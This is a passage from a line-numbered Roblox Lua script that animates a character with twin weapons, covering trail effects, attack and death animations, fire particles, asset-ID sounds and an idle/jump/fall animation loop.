  4360. local TM = Instance.new("CylinderMesh",Trail)
  4361. TM.Scale = Vector3.new(1,1,1)
  4362. Old = New
  4363. coroutine.wrap(function()
  4364. for i = 1,0,-0.1 do
  4365. wait()
  4366. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4367. end
  4368. Trail:remove()
  4369. end)()
  4370. coroutine.wrap(function()
  4371. for i = 1,10 do
  4372. wait()
  4373. Trail.Transparency = Trail.Transparency +0.1
  4374. end end)()end end)()
  4375. coroutine.wrap(function()
  4376. local Old = Handle.CFrame.p
  4377. while wait()do
  4378. if not TrailDeb then break end
  4379. local New = Handle.CFrame.p
  4380. local Mag =(Old -New).magnitude
  4381. local Dis =(Old +New)/2
  4382. local Trail = Instance.new("Part",Character)
  4383. Trail.Material = "Neon"
  4384. Trail.Anchored = true
  4385. Trail.CanCollide = false
  4386. Trail.BrickColor = TorsoColor
  4387. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4388. Trail.TopSurface = 0
  4389. Trail.BottomSurface = 0
  4390. Trail.formFactor = "Custom"
  4391. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4392. local ms = Instance.new("BlockMesh",Trail)
  4393. ms.Scale = Vector3.new(1,1,1)
  4394. local TM = Instance.new("CylinderMesh",Trail)
  4395. TM.Scale = Vector3.new(1,1,1)
  4396. Old = New
  4397. coroutine.wrap(function()
  4398. for i = 1,0,-0.1 do
  4399. wait()
  4400. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4401. end
  4402. Trail:remove()
  4403. end)()
  4404. coroutine.wrap(function()
  4405. for i = 1,10 do
  4406. wait()
  4407. Trail.Transparency = Trail.Transparency +0.1
  4408. end end)()end end)()
  4409. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4410. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4411. so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9)
  4412. for i=0,1,0.08 do
  4413. swait()
  4414. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4415. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4416. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4417. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
  4418. Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
  4419. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  4420. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
  4421. end
  4422. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4423. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4424. for i=0,1,0.08 do
  4425. swait()
  4426. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4427. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4428. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4429. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
  4430. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
  4431. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  4432. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  4433. end
  4434. --dmgstop()
  4435. attack=false
  4436. con1:disconnect()
  4437. con2:disconnect()
  4438. if TrailDeb == true then
  4439. TrailDeb = false
  4440. end
  4441. end
  4442.  
  4443. function Hai()
  4444. attack=true
  4445. Humanoid.WalkSpeed=0
  4446. so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
  4447. for i=0,1,0.1 do
  4448. swait()
  4449. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4450. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4451. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4452. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4453. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4454. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4455. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4456. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4457. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4458. end
  4459. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4460. for i=0,1,0.1 do
  4461. swait()
  4462. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4463. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4464. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4465. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4466. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4467. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4468. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4469. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
  4470. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4471. end
  4472. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4473. for i=0,1,0.1 do
  4474. swait()
  4475. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4476. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4477. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4478. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4479. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4480. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4481. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4482. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4483. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4484.  
  4485. end
  4486. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4487. for i=0,1,0.1 do
  4488. swait()
  4489. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4490. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4491. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4492. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4493. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4494. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4495. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4496. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
  4497. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4498. end
  4499. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4500. for i=0,1,0.1 do
  4501. swait()
  4502. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4503. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4504. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4505. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4506. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4507. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4508. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4509. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4510. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4511. end
  4512. --dmgstop()
  4513. Humanoid.WalkSpeed=12
  4514. attack=false
  4515. end
  4516.  
  4517. function Die()
  4518. attack=true
  4519. Footsteps:Stop()
  4520. Footsteps2:Stop()
  4521. local Fire = it("Sound",Character.Torso)
  4522. Fire.SoundId = "rbxassetid://192104941"
  4523. Fire.Looped = true
  4524. Fire.Pitch = 1
  4525. Fire.Volume = 1
  4526. local Fire2 = it("Sound",Handle2)
  4527. Fire2.SoundId = "rbxassetid://192104941"
  4528. Fire2.Looped = true
  4529. Fire2.Pitch = 1
  4530. Fire2.Volume = 1
  4531. local Fire3 = it("Sound",Handle)
  4532. Fire3.SoundId = "rbxassetid://192104941"
  4533. Fire3.Looped = true
  4534. Fire3.Pitch = 1
  4535. Fire3.Volume = 1
  4536. local Fire4 = it("Sound",handle)
  4537. Fire4.SoundId = "rbxassetid://192104941"
  4538. Fire4.Looped = true
  4539. Fire4.Pitch = 1
  4540. Fire4.Volume = 1
  4541. local fire = Instance.new("ParticleEmitter", Character.Torso)
  4542. fire.Lifetime = NumberRange.new(0.5)
  4543. fire.Speed = NumberRange.new(1, 3)
  4544. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4545. fire.Rate = 0
  4546. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4547. fire.LightEmission = 0.6
  4548. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  4549. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4550. local fire2 = Instance.new("ParticleEmitter", Handle)
  4551. fire2.Lifetime = NumberRange.new(0.5)
  4552. fire2.Speed = NumberRange.new(1, 3)
  4553. fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4554. fire2.Rate = 0
  4555. fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4556. fire2.LightEmission = 0.6
  4557. fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
  4558. fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4559. local fire3 = Instance.new("ParticleEmitter", Handle2)
  4560. fire3.Lifetime = NumberRange.new(0.5)
  4561. fire3.Speed = NumberRange.new(1, 3)
  4562. fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4563. fire3.Rate = 0
  4564. fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4565. fire3.LightEmission = 0.6
  4566. fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
  4567. fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4568. local fire4 = Instance.new("ParticleEmitter", handle)
  4569. fire4.Lifetime = NumberRange.new(0.5)
  4570. fire4.Speed = NumberRange.new(1, 3)
  4571. fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4572. fire4.Rate = 0
  4573. fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4574. fire4.LightEmission = 0.6
  4575. fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
  4576. fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4577. Humanoid.WalkSpeed = 0
  4578. so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
  4579. so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
  4580. for i=0,1,0.08 do
  4581. swait()
  4582. Torso.Velocity=RootPart.CFrame.lookVector*-30
  4583. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
  4584. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
  4585. handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4586. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4587. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4588. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
  4589. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
  4590. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4591. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4592. end
  4593. for i=0,1,0.005 do
  4594. swait()
  4595. light.Range=15-10*i
  4596. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4597. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4598. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4599. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4600. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4601. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4602. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4603. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4604. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4605. end
  4606. light.Range=0
  4607. for i=0,1,0.01 do
  4608. swait()
  4609. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4610. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4611. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4612. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4613. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4614. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4615. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4616. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4617. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4618. end
  4619. so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
  4620. fire.Rate = 1000
  4621. fire2.Rate = 1000
  4622. fire3.Rate = 1000
  4623. fire4.Rate = 1000
  4624. Fire:Play()
  4625. Fire2:Play()
  4626. Fire3:Play()
  4627. Fire4:Play()
  4628. for i=0,1,0.005 do
  4629. swait()
  4630. Character.Head.face.Transparency = 0+1*i
  4631. LeftArm.Transparency=0+1*i
  4632. RightArm.Transparency=0+1*i
  4633. LeftLeg.Transparency=0+1*i
  4634. RightLeg.Transparency=0+1*i
  4635. Head.Transparency=0+1*i
  4636. Torso.Transparency=0+1*i
  4637. for _,v in pairs(Character:children()) do
  4638. if v:IsA("Hat") then
  4639. v.Handle.Transparency = 0+1*i
  4640. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4641. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4642. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4643. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4644. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4645. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4646. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4647. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4648. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4649. end
  4650. end
  4651. --dmgstop()
  4652. end
  4653. Humanoid.Health = 0
  4654. end
  4655.  
  4656. equipanim()
  4657.  
  4658. local sine = 0
  4659. local change = 1
  4660. local val = 0
  4661.  
  4662. local mananum=0
  4663. while true do
  4664. swait()
  4665. sine = sine + change
  4666. local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
  4667. local velderp=RootPart.Velocity.y
  4668. hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
  4669. if equipped==true or equipped==false then
  4670. if Anim=="Idle" and attack==false then
  4671. idle=idle+1
  4672. else
  4673. idle=0
  4674. end
  4675. if Humanoid.Health <=20 then
  4676. if attack == false then
  4677. Humanoid.Health = math.huge
  4678. Die()
  4679. end
  4680. end
  4681. if idle>=1000 then
  4682. if attack==false then
  4683. --Sheath()
  4684. end
  4685. end
  4686. if RootPart.Velocity.y > 1 and hitfloor==nil then
  4687. Anim="Jump"
  4688. if attack==false then
  4689. Footsteps:Stop()
  4690. Footsteps2:Stop()
  4691. Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
  4692. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4693. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
  4694. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
  4695. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4696. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
  4697. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4698. RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  4699. LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  4700. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  4701. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4702. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4703. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4704. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4705. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4706. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4707. end
  4708. elseif RootPart.Velocity.y < -1 and hitfloor==nil then
  4709. Anim="Fall"
  4710. if attack==false then
  4711. Footsteps:Stop()
  4712. Footsteps2:Stop()
  4713. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  4714. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4715. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  4716. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  4717. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4718. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  4719. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4720. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  4721. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  4722. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4723. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  4724. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  4725. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4726. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4727. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4728. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4729. end
  4730. elseif torvel<1 and hitfloor~=nil then
  4731. Anim="Idle"
  4732. change=0.5
  4733. if idle>=1000 then
  4734. if attack==false then
  4735. Footsteps:Stop()
  4736. Footsteps2:Stop()
  4737. Humanoid.WalkSpeed=12
  4738. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
  4739. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
  4740. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4741. RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
  4742. LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
  4743. RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4744. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
  4745. handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
  4746. Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4747. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4748. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4749. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4750. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
